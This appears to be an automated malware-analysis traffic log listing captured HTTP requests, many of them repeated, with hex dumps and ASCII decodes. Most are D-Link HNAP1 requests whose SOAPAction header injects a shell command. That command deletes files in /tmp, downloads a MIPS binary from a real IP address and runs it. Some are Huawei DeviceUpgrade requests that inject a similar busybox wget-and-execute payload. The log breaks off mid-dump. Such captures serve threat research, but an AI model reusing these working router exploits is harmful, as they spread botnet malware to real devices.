Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 